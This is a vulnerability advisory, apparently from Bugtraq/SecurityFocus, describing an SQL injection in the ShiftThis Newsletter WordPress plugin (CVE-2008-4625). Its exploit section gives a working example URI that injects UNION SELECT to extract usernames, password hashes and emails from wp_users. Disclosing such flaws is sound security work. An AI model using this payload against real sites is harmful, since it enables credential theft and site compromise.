ShiftThis Newsletter WordPress Plugin 'stnl_iframe.php' SQL Injection Vulnerability

BID:31806

Info

ShiftThis Newsletter WordPress Plugin 'stnl_iframe.php' SQL Injection Vulnerability

Bugtraq ID: 31806
Class: Input Validation Error
CVE: CVE-2008-4625
Remote: Yes
Local: No
Published: Oct 17 2008 12:00AM
Updated: Apr 16 2015 05:52PM
Credit: r45c4l
Vulnerable: ShiftThis ShiftThis Newsletter 0
Not Vulnerable:

Discussion

ShiftThis Newsletter WordPress Plugin 'stnl_iframe.php' SQL Injection Vulnerability

The ShiftThis Newsletter plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Exploit / POC

ShiftThis Newsletter WordPress Plugin 'stnl_iframe.php' SQL Injection Vulnerability

An attacker can exploit this issue with a browser.

The following example URI is available:

http://www.example.com/wp-content/plugins/st_newsletter/stnl_iframe.php?newsletter=-9999+UNION+SELECT+concat(user_login,0x3a,user_pass,0x3a,user_email)+FROM+wp_users--

Solution / Fix

ShiftThis Newsletter WordPress Plugin 'stnl_iframe.php' SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

ShiftThis Newsletter WordPress Plugin 'stnl_iframe.php' SQL Injection Vulnerability

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